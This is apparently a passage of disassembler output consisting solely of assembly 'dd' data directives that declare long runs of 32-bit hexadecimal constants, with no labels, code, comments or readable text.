dd 30CF88BCh, 26B2C559h, 118BE25Fh, 0DA2A5753h, 41CB6C2h
dd 93ED7E9h, 0D4AF1268h, 10C026EEh, 50571FCEh, 1E4519C2h
dd 803DA951h, 920C8A2Bh, 0D06DF60Dh, 0CD04BC49h, 82339B46h
dd 8E08F6B7h, 0EBEAD000h, 93FA2157h, 2A518C36h, 0AA03F353h
dd 56D64F66h, 57E1E955h, 27C0B453h, 9D4C472Ah, 38F120h
dd 7793C2Dh, 1C470906h, 0E950A1B6h, 27B65A4Bh, 379C8213h
dd 5884E67Eh, 88A2C821h, 360BA4D7h, 61685540h, 3DE90B2Bh
dd 5E242E03h, 5FDE9C2h, 5A38F92Dh, 286C1D9Dh, 0E9192093h
dd 4182063Fh, 0CAE3FA9Fh, 1267EA32h, 4BDFC31Fh, 45D58BA1h
dd 6222006h, 3960535Eh, 45D5455h, 7640B850h, 0D0628245h
dd 0D856CEA4h, 5E7EF767h, 0A40AA94Eh, 52C4D554h, 0B469F6B4h
dd 72E62F13h, 639635F6h, 0FC4A142Fh, 801F5D78h, 43100848h
dd 485F2DC1h, 814CDFA3h, 28DAFD57h, 0ED614A53h, 5A025285h
dd 0A79DAD63h, 3F0E5C0Bh
dd 15B69353h, 139EB2D1h, 2778AB69h, 0F2CCF908h, 2D2D2930h
dd 5039FBDh, 0DDF708DCh, 0BC91C468h, 1DAC973h, 8EE935E1h
dd 2D008368h, 77B44EC9h, 0CDF89240h, 3C192160h, 0B00887C8h
dd 0C830EB76h, 90017602h, 752F58D5h, 7207B880h, 0DA91585Fh
dd 497C35C0h, 2EE92756h, 814E8E40h, 7494CE04h, 0C0833748h
dd 0B1EBB3D2h, 0F2BD6E9h, 0CB834B0Fh, 16A36326h, 46C30E03h
dd 0EAE02080h, 9BA957EDh, 0DF584022h, 6816CC66h, 97985B62h
dd 25086AE9h, 1C24A50Eh, 0B036B0ECh, 0C31CB270h, 0DE005866h
dd 2E6C05Bh, 9F62680h, 4B5A1E61h, 945107EBh, 8A6E2819h
dd 3980C44Ch, 0EB939FCBh, 0C320481h, 0CD010220h, 0AAFC4259h
dd 30CA89B5h, 21004CAh, 1DABE9C6h, 0C64A38B0h, 2D2A9B2h
dd 1E30AC4Ah, 44EFEC80h, 6E60AA46h, 0BF1F5B18h, 0CF013406h
dd 1C081A1Ch, 2095142Fh, 9D2CB57Ch, 6F03A40Ch, 68FD53CFh
dd 4EBC840Ah, 6CCBBCA1h, 5C71C1C4h, 61E26F13h, 0DEC27EBEh
dd 0C3C66B1Bh, 5B1F6495h, 31BC8DBDh, 64336B7Bh, 0ABE8E4E8h
dd 0BAC7F384h, 9468F870h, 40FCBE22h, 2A5EBB53h, 0E9273EEEh
dd 0C196C827h, 38486359h, 5AB1018Bh, 87C8895Bh, 0E02A8F55h
dd 0F71B0E60h, 61E097D8h, 0CABCF6E9h, 4547351Dh, 0D0F765E7h
dd 2CFDA4FDh, 0A0C666EEh, 3F675552h, 7C2D1834h, 0C15E3600h
dd 511206EAh, 0BBD84568h, 6F610FA6h, 5332E939h, 85C7B58Eh
dd 276C6807h, 5546D4Bh, 8129E5C8h, 689862EEh, 4C0AA1D3h
dd 201040F7h, 3C1A48DBh, 28C2525h, 443C871Ah, 6CA2951Fh
dd 142713CAh, 42A1D9EBh, 5809CE84h, 0BC342617h, 98557A91h
dd 97DBE9FCh, 0F4BE6400h, 5E175C0Ch, 1D04E681h, 1DC206FBh
dd 64E9F4F3h, 0F07C5B1Ch, 0B81B8B53h, 70310B65h, 2D0D569Bh
dd 5708001Ch, 0E0096852h, 8265AC14h, 76C01A9h, 2972625Dh
dd 41E56A0Bh, 9B8C2060h, 0C56B26ADh, 5F307A02h, 62F50149h
dd 8208092Eh, 3339E21h, 7A01D2F7h, 20163815h, 7097D589h
dd 0AAF0C4D6h, 7CE20717h, 7C5C5C89h, 25B27008h, 93129CAEh
dd 1B0163E5h, 5A5EF589h, 8F626F29h, 0E91F784Ch, 97092626h
dd 0CF7B27DEh, 19F15249h, 685AD683h, 0B7E8DC99h, 912B74D3h
dd 6CCCE91Ch, 62815E46h, 47F848B2h, 0BB66BB9h, 0B5B4260Ch
dd 73F76680h, 0EE1C92D7h, 4BBEF35Eh, 0FC2C8B92h, 1102F29Fh
dd 1B013D66h, 0D654B1ECh, 3271CBEh, 0DA8EE54Fh, 0DA0BD86Bh
dd 2C3C9C8h, 72449784h, 309D3052h, 0A8BD4DC6h, 0C1409D45h
dd 1125DEAh, 0DF052454h, 0F84D677Fh, 0A9212DB0h, 894F0BB2h
dd 304CB4D6h, 704A814Bh, 32078473h, 474F60BCh, 7705ACE2h
dd 33B60114h, 0BF161D58h, 0CBF8F732h, 8CBB407h, 86A558E5h
dd 0C44A12BCh, 0F608EBF1h, 5E661226h, 27BE5D57h, 0A144E02Bh
dd 712BDE24h, 9D5318Fh, 1462C23Ah, 685028C1h, 0FACAB006h
dd 9AA4BE9h, 2C025760h, 0C1010B46h, 68506E5h, 0A0ED8302h
dd 453AB156h, 0E10BFF93h, 2F18107h, 0CBC968C9h, 5DE89967h
dd 0D2A5316Bh, 0F9CD510Ch, 0EE0101B0h, 6130F30h, 5D527F2Ah
dd 0B124DD33h, 4CB07BCCh, 0F7AE581h, 5260D206h, 0E31019E9h
dd 6CC5C889h, 0D0C858C3h, 17F245B8h, 0B12DB471h, 5A13E8B9h
dd 79D71A95h, 8BE905E3h, 1904BD5Dh, 0CAA7EB9Fh, 0B8240872h
dd 545185F8h, 7FD0E659h, 27874E84h, 0F70FB2CCh, 0FABB2ED9h
dd 8E7D68E6h, 0DC69EB97h, 6CE80AAAh, 0EF93BF8Dh, 5FC58F1Fh
dd 2CC81DD4h, 3D0252C1h, 0E198E912h, 7C03273Ah, 89180A58h
dd 342B06D3h, 33CEB071h, 77208BEDh, 4375F5B0h, 1E6D814h
dd 4E8F448Bh, 985036Bh, 0C5877681h, 86E325EEh, 0ECE554FFh
dd 0CF1EC3F6h, 12C96388h, 52FE2F6Fh, 0B39219F8h, 5824C64h
dd 7B3D70F4h, 4126AF4Eh, 0CF89C8E3h, 4BA09170h, 5872F349h
dd 0CD032D3Ch, 0C831846h, 1E4E32E9h, 0FFE26524h, 9F91F794h
dd 2DAFA910h, 25844559h, 2268EE51h, 40D36643h, 0D485E708h
dd 6A019849h, 21601E5Ah, 0C00B32C8h, 9219F725h, 1E056563h
dd 7F25D7AAh, 0B1CE7A21h, 6D046B29h, 59016B93h, 0C4332535h
dd 0C57D8939h, 6013425Ah, 0BBC5D7ADh, 854295E6h, 4C3C0B96h
dd 8479339Ah, 0DAD4CC45h, 0E239FB53h, 5C243577h, 0F8A144BEh
dd 89CA4F65h, 59B0B44Bh, 585C69C0h, 0E88BE56h, 0E9719E07h
dd 2BE823E9h, 8082BD93h, 4260A709h, 90FAA46Ah, 3F3E5520h
dd 5D7590E1h, 49518526h, 58C647ECh, 0B6687F6Eh, 8C5A1708h
dd 8A34E9A1h, 5EAB40BBh, 6E054C38h, 4A09EA47h, 0DE139E40h
dd 0A208A05Dh, 52697C97h, 0D9C2C16Ah, 524E66D8h, 5C0484F6h
dd 0C66B1025h, 8894E2Bh, 44423B1Ah, 5542C3E9h, 4E753F98h
dd 0FD5B980h, 41350511h, 0CE14069h, 87723E59h, 6607C05h
dd 5080DDB1h, 28F38DF4h, 0E909D222h, 0B4F60003h, 5B02C53Ah
dd 2991CE01h, 8C24ABC7h, 16CC6F08h, 4D07415Eh, 23230D68h
dd 10D4892h, 19FBBECAh, 5E2858E9h, 150CD94Ah, 0B728606h
dd 0B2685F0Ch, 0BCBB1761h, 0D60500EEh, 2912C2EBh, 33CC3AE7h
dd 5D6D69E9h, 98B2A323h, 5763CD2h, 52425413h, 0E0562A86h
dd 0BCC3ADB3h, 8A2D8152h, 82DF25F6h, 454B8C8Ch, 8084C27Dh
dd 9E16C14Bh, 0E1B9022h, 474C085Bh, 13FAE6C0h, 18C01D96h
dd 73C33874h, 0B279E29h, 0CBD34468h, 0E555D08h, 0E4E46404h
dd 0EE28FB62h, 37B7415Bh, 0B54B7B1Ah, 5E8C6428h, 5375D80Eh
dd 7A43BB00h, 0EB81275Ah, 5C3FE27Bh, 1228F1Eh, 0CD09F3F8h
dd 0A9091AFEh, 0E9BA30DDh, 1DDE968Fh, 0EBB589ACh, 0EEFCD864h
dd 4315F49h, 0F806855h, 632A3BB9h, 5F5D25B3h, 68803879h
dd 2CB136BAh, 0E1ED31E9h, 0C1E6EFC7h, 0CFE242ECh, 143AB181h
dd 5CE9E07Bh, 69284E96h, 90249025h, 134DB634h, 5DAB252h
dd 0B6FE960Ah, 18580823h, 0ACCF8A04h, 9A5D5299h, 0FBB30DFh
dd 0E9C816BEh, 5093405Ah, 0E728A2B4h, 20012F93h, 0BF685BFDh
dd 52009836h, 0C680BDB6h, 0F0338877h, 0C9F7125Ah, 0EEF010CEh
dd 7DE925BAh, 95B92300h, 114A0C28h, 7600AB8Bh, 962DD16h
dd 0E027E9C1h, 95B7796Bh, 871FC6FCh, 9077D3EFh, 314B7235h
dd 0E684294Ah, 0E23800EFh, 15DC7762h, 99F84A77h, 7A9A4312h
dd 34094BACh, 0D85E28A9h, 3008C314h, 57690E5Ah, 14757F48h
dd 8B850FBh, 0E912384Ch, 5F994B15h, 149271ECh, 4FC81C9Dh
dd 0F8A54E3Ch, 82E948EAh, 7FA5685Ch, 0E8926B66h, 0A674E797h
dd 54B542DDh, 0CE6520Bh, 2873385Dh, 8D00320Ch, 0FA2187C6h
dd 9DE01FE9h, 513AD327h, 308949F6h, 319280E7h, 78D354A4h
dd 4FC7CA03h, 63F5AFD0h, 0D2D84D0h, 0E4F86955h, 0C9ACB8A2h
dd 0DDD68949h, 4ECF7839h, 55E8AB0h, 108902Ch, 8B510EBh
dd 0FCA5E93Eh, 5B664E6h, 6AF16DC2h, 0E2CD41A1h, 0D2C48E79h
dd 0AB644414h, 68B4B413h, 17B4E852h, 5EDD06F5h, 246A6620h
dd 1041963h, 0B4204EEFh, 1CD94633h, 1C410883h, 0D4F92214h
dd 0F0715F04h, 893AF7F1h, 7B16E19Ah, 0B7E61917h, 20EE8316h
dd 0BD0AE944h, 0F6B44E9Dh, 120B6DCh, 6E6F65B8h, 3F9BE84Dh
dd 1651EC95h, 61020B68h, 9D561F82h, 0B8C9EA11h, 0FE99C4C6h
dd 12E49E88h, 26525Dh, 4B0A3532h, 0F606817Dh, 23376C3Eh
dd 7879F4DCh, 4E0B90F8h, 624EF7B9h, 0D4555041h, 6614332Dh
dd 294742A1h, 18297BD8h, 2B084F4Ch, 31AD064Fh, 0BF0F7ED8h
dd 0C449234Eh, 0A394F00Eh
dd 9850B782h, 5E6968DBh, 5F25DA17h, 315CB531h, 37E1892Bh
dd 36C6110Dh, 59403C25h, 12B7512Ah, 20615A9Dh, 0BB00418Ch
dd 42A82223h, 2689E381h, 5E9BA67h, 0A4CF52E9h, 641D8488h
dd 0C981414Fh, 73CD1A68h, 16F2E9F0h, 12018EA0h, 0EF37C4D2h
dd 13A3592Ch, 0B54B342Dh, 0B01D60D2h, 1C928B93h, 125CA298h
dd 0ED5DE821h, 18B5166h, 501BF993h, 60BF572Eh, 432E6512h
dd 0E6A708h, 4C032F2Dh, 0C1488919h, 0B595105Ah, 0E62C503Bh
dd 41C34010h, 271F6860h, 0B24DC231h, 982F1AA9h, 56015263h
dd 0D818D968h, 77F5E57h, 4178F6C8h, 2F898EC3h, 69EC0DC1h
dd 4FE25D02h, 2F2F7CD2h, 895AB845h, 5BF890EEh, 87F2272Ch
dd 0DB45890Ch, 0C2725A12h, 0E6D0EC2h, 71D8791Fh, 0D81FD34Ch
dd 9658245h, 0DFE9214Fh, 0B1B6F760h, 3DC482A0h, 9DEE6DC3h
dd 596E9979h, 4575EA70h, 0D7D12EBCh, 405D12Ah, 3F52C0Ah
dd 0F102EF83h, 3C244071h, 0E82D416Fh, 18BF5743h, 810FA871h
dd 0A50F3A3Bh, 205030FFh, 0E381ED5h, 0C1C7DA34h, 85AFEBD3h
dd 7A906884h, 585C82BDh, 0F503A31Dh, 3EE86786h, 6F5ECDB0h
dd 28359E3Eh, 0B5E8EEDh, 7F4CE380h, 0E461B0F4h, 89F9B432h
dd 41C565F5h, 0B15DE125h, 1E51E03Dh, 0B762E88h, 0C1E8C00Fh
dd 2A34C8FEh, 92D07D30h, 8220FB38h, 52039655h, 1C6896D7h
dd 0ECD61612h, 693A0215h, 1541596Bh, 88B9006Ah, 402A2E11h
dd 0F071206h, 780308BAh, 0A28F4169h, 0D2A5E3ADh, 7BE10758h
dd 560ED32Ch, 0B8B85DCh, 0D40ED652h, 7E150403h, 3F4DDDC1h
dd 31A824D0h, 0E9EB15E1h, 1B64E069h, 6F5E83F5h, 9309268Eh
dd 78677E78h, 0A6681763h, 29E9837h, 70DD6CA1h, 0F482FC4Ch
dd 0E4540901h, 0F22E58DAh, 0D09F04FDh, 5EEF1E49h, 10EB4F20h
dd 29540E2Bh, 0E108B1A4h, 88A92428h, 5F0B52F6h, 29878B53h
dd 0B2FC8404h, 0DA7C1DC3h, 6620D725h, 16685352h, 33A12817h
dd 0EECF1BA0h, 0E91838D4h, 0BFFA004Fh, 10A4B38Eh, 0A78791h
dd 0BC219E7Eh, 0FD292878h, 5F088184h, 534C347Bh, 51FCF0E6h
dd 5E0DAA12h, 9149C0A0h, 9D93A07Fh, 0DD013122h, 0C118746Ch
dd 4D7202EDh, 0DBF7078Eh, 3F4C0E05h, 82E82965h, 1B553E86h
dd 0D63AC9C6h, 5BD84D89h, 59875129h, 4CB9730Ch, 79BC0C0Fh
dd 0CE0124E5h, 81A0F84h, 0E914010Ch, 7635F8E7h, 0B2D63022h
dd 0EBE984ECh, 0F6ECB0h, 6E5C0DDh, 288BC580h, 5059E807h
dd 0E0CBA4B0h, 83FE6886h, 8D6ED5A7h, 0A021208Eh, 0C9B779C0h
dd 702C1D04h, 0A7DBF5FCh, 10BCB9F3h, 0C31B853Bh, 0B45017BBh
dd 6DC01EAh, 20111054h, 0BB80C326h, 0DF5013AFh, 4812E81Fh
dd 29C403EEh, 0E1017DF4h, 0BA785D5Bh, 0B008E9C4h, 0CA1C81C2h
dd 4747261Fh, 8529424Ah, 0B2B1C990h, 6F712D6Eh, 0AEA9FB53h
dd 4316FFD0h, 4F66E22Bh, 0CB1FB962h, 7A2254Fh, 0A8C28DF0h
dd 40B00B09h, 80A95AECh, 0B4A095B5h, 5E1FB450h, 3C97E530h
dd 0CBB2EE84h, 58E6E2C0h, 51005779h, 97EF21B9h, 99A4E9ADh
dd 0A5C117D7h, 0AAABECC4h, 202716D4h, 68619EA6h, 0E9C74C16h
dd 0C468112Dh, 7AEC4DE2h, 6D5C6E02h, 54600102h, 25D42CD3h
dd 7B99007Ah, 0CB817E9Dh, 705240Eh, 0E8F30154h, 302F4E64h
dd 0E92A5B19h, 6BB49880h, 69DE7A69h, 0D7D8134Ch, 0C2968694h
dd 7D5FF382h, 5709BE94h, 215964E9h, 9FB551E6h, 120ACB6Ah
dd 8DA2F019h, 0FCA92289h, 529C6F78h, 8152D9D0h, 0A4862C5Eh
dd 7E3917C2h, 865C3BE4h, 687151E0h, 14A63C5Ch, 132B01E9h
dd 1C3704A7h, 377BE1E0h, 0C0205CAEh, 5A4A5005h, 0C9FC573h
dd 314C172Bh, 301EAFAh, 46B3F281h, 3F107Ch, 8D6F1A64h
dd 0D14201D9h, 63299519h, 0DCDE60C0h, 0D1213841h, 346A16E5h
dd 0D78D7269h, 0D5681449h, 59CC2F3Fh, 4547134Ch, 0F8665620h
dd 0FA898701h, 0A94FA175h, 0AA8B7F88h, 0A7E3D1E3h, 0AB8EDF18h
dd 0D542BAB5h, 39082832h, 0B9A58B4Bh, 5319AA68h, 93489F3Dh
dd 9147B3E8h, 94ED5EF3h, 0F0EE2D2Eh, 0D7C1EEF8h, 30C94043h
dd 8FC3F880h, 0E942CC45h, 7CC25920h, 0F3E30343h, 0C14C2D16h
dd 568C985Bh, 0D5904DE9h, 87241F79h, 2A27BD61h, 45B93600h
dd 6E484C68h, 2F2E65AEh, 662F07E1h, 6D27AC5Ah, 8BF85949h
dd 0A6B055ADh, 649DA70Fh, 0A4A2CDEDh, 0CBE07C64h, 272BC5CFh
dd 5CC7BAD3h, 13AB5474h, 8B25A2B2h, 16175235h, 0F863DA68h
dd 0DC55C99Bh, 7382C0C1h, 0E917785Eh, 76C9DE03h, 1186D968h
dd 0F91E335Dh, 1DB25E51h, 4E165D5Fh, 7707DD5Bh, 0A27313B5h
dd 0C5CF0366h, 4376C68Dh, 3A4727D9h, 0B77CA545h, 75D58DF8h
dd 4EDC1912h, 61EADE0Ah, 4AAC9FCCh, 899B4494h, 74765FF9h
dd 669241C4h, 5B8AC188h, 1234166Bh, 5A6FE77Dh, 6810A452h
dd 28F50251h, 0F91E3C22h, 5A46249Ch, 646240E2h, 501F087Eh
dd 8B97A5EAh, 1247FB95h, 2359205Ah, 607ABA08h, 0A7B4304Bh
dd 9D5DEE89h, 4D000BA9h, 8CF0570h, 0FA92BB01h, 0ACE9F730h
dd 0E924C42Ah, 0DC989395h, 5FF39277h, 0B9C7405Ch, 33012311h
dd 86F9BF0Bh, 404FF8F6h, 0B1505164h, 71B2FB8Eh, 92D7293Fh
dd 130D1C5h, 3E18E8C1h, 8AB2C831h, 3EE0586Bh, 96306EB9h
dd 5022275h, 920C1726h, 5D5E8873h, 1285CEC0h, 60290152h
dd 57C3E8EBh, 482E89BFh, 1809696Dh, 27D79658h, 0D8D93421h
dd 0F4EF988h, 8FE5E688h, 7F28BB51h, 0E7A85A3Fh, 0F54B7B3Eh
dd 2EBF7DC0h, 4E5E636Dh, 41120AC7h, 0BBA8D3EEh, 4B1FF871h
dd 0E07CC9AEh, 668006C6h, 0DAB73C53h, 314BDEBFh, 5BA8FFh
dd 912B7768h, 0B668A7AAh, 0B9CE61D0h, 0B61CE5E7h, 0C601AE31h
dd 41F6A540h, 0F029E26Ah, 0AB42DE9h, 0B29DB0CEh, 15367420h
dd 3758E382h, 0F480B205h, 678F1293h, 5AF582D1h, 0E907FCE0h
dd 3821BA27h, 5ADB686Ah, 0E92CDC55h, 0AAC8C134h, 84928DA2h
dd 0B0A4FCEEh, 9AA1EDE9h, 216F006Ch, 0F1817A36h, 1E6E2B41h
dd 0A2AC378h, 0CB01E028h, 4FB835E9h, 0DBE3B0D5h, 40036217h
dd 70C23214h, 93FD6DE1h, 0D86222E7h, 530B4CD7h, 909BA0E1h
dd 6F3925CEh, 406EC781h, 38F07466h, 0C378752Eh, 918DB04h
dd 41344681h, 3DE4B800h, 825372Ch, 5D050427h, 266429AAh
dd 0C441950Dh, 0B91257C0h, 72C32F2Bh, 0BA90A07Ah, 77960276h
dd 38E9D5F7h, 0ADBF49C8h, 17A4161h, 9A205FFBh, 0B7D2184Ch
dd 6DD54286h, 3F0C242Ch, 71F8AD3Eh, 5B540AF5h, 3F684149h
dd 3C8D6A5Fh, 1709F560h, 0BC0AE56Ah, 0E0E9E067h, 80FDBCD3h
dd 421F5606h, 84AEC68h, 0BF101DA3h, 0D5800E7h, 273D4599h
dd 962D3B40h, 0F8773F12h, 852C2D2Bh, 1CA457BAh, 5FEAAC5Fh
dd 0D0245D3h, 4D60B428h, 8C9FB9BAh, 3C21B47Ch, 0E90C7951h
dd 0ED9FA26Fh, 0A937E60Fh, 43A06B6Eh, 63829C11h, 0A2F6D202h
dd 0D93961DEh, 5659903Eh, 0C0F8D68h, 0A55E3F1Ch, 29EAB383h
dd 23022133h, 1B523BDFh, 0E243B408h, 0B95AC8B6h, 3B610927h
dd 0D710172h, 2DD8656Fh, 0CA57120Ch, 0F2280748h, 0B0A1BF06h
dd 0DF31290Bh, 8D2F7B90h, 0D29F1B02h, 925E656h, 5D1C6F09h
dd 7EA01406h, 4FD82826h, 18DAB30Eh, 4A2C5B0Ch, 5551A09Dh
dd 0E6C1FE27h, 0CE0C4169h, 8491891Ah, 7CF25EA9h, 533FCC90h
dd 4A458690h, 0E05135F6h, 4168F850h, 7E1AA619h, 0EB0E9436h
dd 0E4FF04h, 2240D9B8h, 6E609546h, 19D3047h, 0FD75D614h
dd 60EE87E2h, 24B9607h
dd 0C8D4E91Eh, 0EE5A66EDh, 0EA560F4h, 0C10FA7BFh, 0D24F6028h
dd 8355B22Ch, 8E181444h, 0ABD3D4CBh, 93007F95h, 0E73772C6h
dd 0F1295B54h, 0E8080521h, 795CB2D2h, 4FD32D76h, 1B9F710Bh
dd 0DF6EC2CFh, 5B60A9A9h, 0C49F36F8h, 655C5F2Ch, 61A645A0h
dd 0E5F199C2h, 21582437h, 2930F577h, 68B9443Ah, 0E330C2Eh
dd 310B6CBEh, 0B82AE0B7h, 7A688039h, 0DAE3464Eh, 715F0138h
dd 0FC5F0936h, 0EA5451E9h, 32064DCAh, 0D0F717E6h, 3960B504h
dd 5C392D02h, 54F8B1Bh, 0A2E88E95h, 0DA58C689h, 0A00C0FABh
dd 0F569FEB9h, 0D259AFF4h, 0EBC18950h, 41EAF003h, 9FC22F50h
dd 58E8C935h, 818ED92Bh, 189EBE48h, 0C16E2581h, 126AE8Bh
dd 1820DDF7h, 2D5812ADh, 3066E110h, 5F17CA9Bh, 0E7032E6Fh
dd 0B59C4153h, 0EF8BE84h, 8882312Fh, 8209E2B4h, 0C6A2CF5Ch
dd 15D1A0FCh, 48A80B0Eh, 3DF1D387h, 2754E905h, 4A0A20BDh
dd 1E7CE4Fh, 0EB815EF3h, 15A1422Dh, 0F7E9FA40h, 0E8F55360h
dd 283A3507h, 48CA66B2h, 4A8B15C7h, 0EE92987Ch, 4576F0Eh
dd 0FFF9F701h, 0B25AD7C4h, 98FDD201h, 12A1CD2Ah, 8C65C468h
dd 212666EEh, 3FA169h, 1B5F1F98h, 27E94B5Bh, 24B8BEDFh
dd 683C5157h, 4E219352h, 9D4E2A1h, 3C5C76ADh, 7F28BBE9h
dd 0DB2320A0h, 725525Fh, 0E968D692h, 873A431Eh, 0E4AB64D6h
dd 200BEBADh, 0A226396Eh, 1328901h, 0E8EF835Eh, 0C60EE781h
dd 0C033555Ch, 7F7E31CFh, 0B8CEB80Bh, 482D0F99h, 7E9D532Ch
dd 0E01A5BF0h, 7A20542h, 50D12943h, 0C64DC1A5h, 0CA841542h
dd 7C640B36h, 4CBAA8A2h, 0EFB47B1Eh, 29919205h, 1D70A460h
dd 0A052ECEFh, 741F8B91h, 4959278Ch, 7BE9A1C0h, 42033D4h
dd 2120032Eh, 8E8841AEh, 600D0435h, 0FF407044h, 0B0C75801h
dd 4D981F3Dh, 1D330C26h, 586D2412h, 0FE28DBF1h, 0FE9DD1F4h
dd 9D30110Ch, 6B4C903Eh, 0D6C0B860h, 1E073AE5h, 1CDEC2Ah
dd 5C6C22CBh, 2005EDC1h, 8404798Fh, 0E9313F35h, 29C508B8h
dd 0C3E8AD4Ch, 249CFEE9h, 30CD9B9h, 38285709h, 97785EAh
dd 0FAF09402h, 4B444FA4h, 35C89257h, 575859CFh, 292E2EA3h
dd 7F3707AAh, 0FE7B23C8h, 21305963h, 0C187A641h, 8680B30h
dd 0BAABBF19h, 300FD970h, 0C45966E8h, 70A22D09h, 1EA7462h
dd 0C1E18802h, 0D385AB9h, 25EF5D8Dh, 5C52A94h, 20C106E2h
dd 0FA0D5C26h, 0D537D640h, 2D512A58h, 0B09A5A54h, 80EB0E3Bh
dd 0F7606CCFh, 5BFA8898h, 2CD30438h, 8F2CD0D0h, 0FF5DA818h
dd 68407877h, 0E5D74Bh, 71683B49h, 0D0ACEE89h, 0F8E6C127h
dd 57D206CDh, 144E3023h, 6A0658h, 0A09AABC4h, 0C21AE8E9h
dd 5C295F5Ch, 5BE7CD8Ch, 0E90F098Bh, 0C3D1FD40h, 1701BF2Ch
dd 57EFC16h, 4785973Ch, 0CB4DECC3h, 80A4E1C2h, 0D77F7FF1h
dd 5FA95FABh, 0E05C7462h, 62E04B4Fh, 0E9AA5941h, 0D5A6456h
dd 0BFD44BA9h, 0A80AD39Bh, 0DC4F422h, 0EDE7F553h, 5EC7680Ah
dd 0B95160DFh, 2D122FD3h, 6600F73Ah, 0D76B74E1h, 0E9872501h
dd 1641C502h, 0D295E508h, 0C2800ADFh, 5A13E01Ch, 23DF2DC1h
dd 0CA288005h, 75790CE0h, 0DA3468BFh, 4D1D2071h, 6215E925h
dd 5B8F8BCEh, 516B88D1h, 0E9130C90h, 4D0222Dh, 0C0D2A5F6h
dd 9D9F576Fh, 8598776Eh, 520DE0Ch, 0EA100C62h, 0E9640B78h
dd 32F64DCDh, 0B72CD4C9h, 313B7040h, 1AB92D29h, 20D93507h
dd 19BE41E4h, 0D00306F2h, 97589EE9h, 49BF015Ah, 4712420Dh
dd 0A4C76920h, 31840CD5h, 8A0C5F5Ch, 1DA65505h, 62B0B1E9h
dd 200C9866h, 1798A549h, 2B64695h, 116D88B9h, 0C2D04158h
dd 5E9EEB80h, 4719702Ch, 0E72C20Bh, 24CCA521h, 26B78741h
dd 0F8C086B0h, 0E0C0125Bh, 0E4B60006h, 64E9C9FEh, 0F7CE4297h
dd 0F0522F19h, 6F92BAC7h, 489523F7h, 59C427C4h, 300560B6h
dd 1E0CC20Eh, 0F3EE67E9h, 271AECCAh, 0EC407440h, 0ADEE6CC2h
dd 0E231202Ch, 3F50B637h, 68017DC0h, 0F08D2F9h, 9F2835Fh
dd 0B9F35D96h, 0F51DAC9h, 0C828862Ch, 0A798269Dh, 39CAB45Bh
dd 4748D3A8h, 81B120DBh, 0C1EC0B8Fh, 4CE92D01h, 415056ADh
dd 6EC4922Fh, 0ACAAD88h, 164031FAh, 0FD0C3BA1h, 0A4B49779h
dd 173067B5h, 1023F221h, 0A24F2A93h, 0D45CB209h, 28A15C5Eh
dd 59A3299h, 326E5BCBh, 0B03D7F83h, 4DE966F6h, 0B45A5EC0h
dd 5D3B72C6h, 0F3012DE2h, 0FF0C2048h, 408D4D20h, 11B95BD5h
dd 3BA0E56Fh, 5F79B8A3h, 0C9225FA6h, 0E3DC17ECh, 3D8EC44Fh
dd 5B670500h, 0A1B615B8h, 6841BDACh, 0A32C4820h, 236CBBC0h
dd 50644165h, 4516F7E6h, 91CE7568h, 2E05D096h, 0BE9136C8h
dd 0BEE8093h, 5A606417h, 862614BDh, 0ED51209Fh, 0A8E15E5Ah
dd 1F33252Fh, 3F238F58h, 89EA1E19h, 761987DAh, 95566467h
dd 0CE39EFDBh, 0F80B2F71h, 0F23CE983h, 0B54F8B76h, 70E08512h
dd 0CB38FD52h, 8405F490h, 0C37E786Ah, 0D5A8064h, 760815F1h
dd 73D65829h, 0F9FEF84h, 0D01A5387h, 8C288508h, 0F2CD41FBh
dd 2F1C17E9h, 9C2AE829h, 0AE12B99Ch, 83068810h, 0B20DAAE9h
dd 94CC976Dh, 0D1F5E19Fh, 0A9FBCCC9h, 0D09758E3h, 418B3A4h
dd 57F9F766h, 0F2683498h, 4C659D61h, 64B38F12h, 24A2B65Bh
dd 4FA87001h, 5315240h, 936891C8h, 0C45BE811h, 9916B981h
dd 73C3602Eh, 0A3CE244Ah, 2C04D25Bh, 97F522h, 0F7481A05h
dd 735B422Fh, 870E3069h, 6CB59E68h, 325A01C6h, 0E95F22D5h
dd 7796D4Ah, 7C3DF1E7h, 0C2F66B9Fh, 7474180Ch, 36F4626Fh
dd 5B042655h, 7B8B10A9h, 667C6F29h, 0AD44801Eh, 94D7AC2Ch
dd 25ECA14Dh, 0EBAFB1BFh, 934E3B06h, 454AC104h, 0FEC04D25h
dd 48D32AC5h, 0F13E0641h, 902AB3Dh, 0B1F0E9F9h, 6E699354h
dd 176FBD81h, 0FAE909B0h, 80309C06h, 51DC6431h, 361EB3BAh
dd 0F24B26CAh, 456F05Eh, 7C534EEAh, 8100BB34h, 0E979AD47h
dd 95869A80h, 0E6906314h, 0B7D1E520h, 7466D6E2h, 2DBF2FB9h
dd 8C0F4C54h, 3133405Bh, 71AF06DDh, 0B25FBA78h, 84CC2D49h
dd 53A929EFh, 82F4AA4Ch, 0DDF1A19Ch, 0FFB86F42h, 0ABF5E924h
dd 49E93E28h, 593BD6B7h, 4480510h, 1551F0B9h, 62A00ABh
dd 293E5842h, 0EB50CB78h, 7968B08h, 7F589F93h, 0DEF3C588h
dd 0FE20740Dh, 2705B102h, 7D2E4042h, 124A9323h, 498FF024h
dd 5A50ADBCh, 7EFE2968h, 0CDB58EC0h, 0F8AEE80Ch, 0C7F3A560h
dd 1E806E21h, 14D70136h, 0E90B08EFh, 97D340DBh, 0FB1FF80Bh
dd 505542E4h, 14A5440h, 2518C3Fh, 0A56C5ACFh, 0D4207D59h
dd 311F3530h, 0DBB0D7F0h, 0C7E22F4Fh, 6EBB3581h, 3E9F8E8h
dd 1AA9662h, 0D4A98BC3h, 4589205h, 0FEC9E428h, 3CD2FE71h
dd 9500927Fh, 0B0658009h, 0F6127D0Fh, 0FDF16030h, 0C85584EFh
dd 4E9754Ch, 6AE7363h, 0C5EDF0h, 29376716h, 0E908E5C1h
dd 4A159E5Eh, 0B3D720h, 5AE95628h, 0AC9C1398h, 9FACF564h
dd 5C59DCD2h, 0D3E94BCFh, 9F0A0AA4h, 32C5103Eh, 34BBE168h
dd 4043C264h, 0ADEB062Bh, 0B7B18494h, 20BE45E5h, 924E95CFh
dd 3C122D54h, 2C689C40h, 6F0E3FB4h, 1AE5E1A6h, 6181C4B5h
dd 0DD683720h, 0BDCC3A1Bh, 636B6D3h, 9E7BF380h, 3323195Eh
dd 2321C941h, 680BF267h, 8554581Fh, 5F118B79h, 0CB2801F2h
dd 1C18B532h, 94DDBF27h, 4E6F4082h, 3C6B0737h, 0C6C8B3BDh
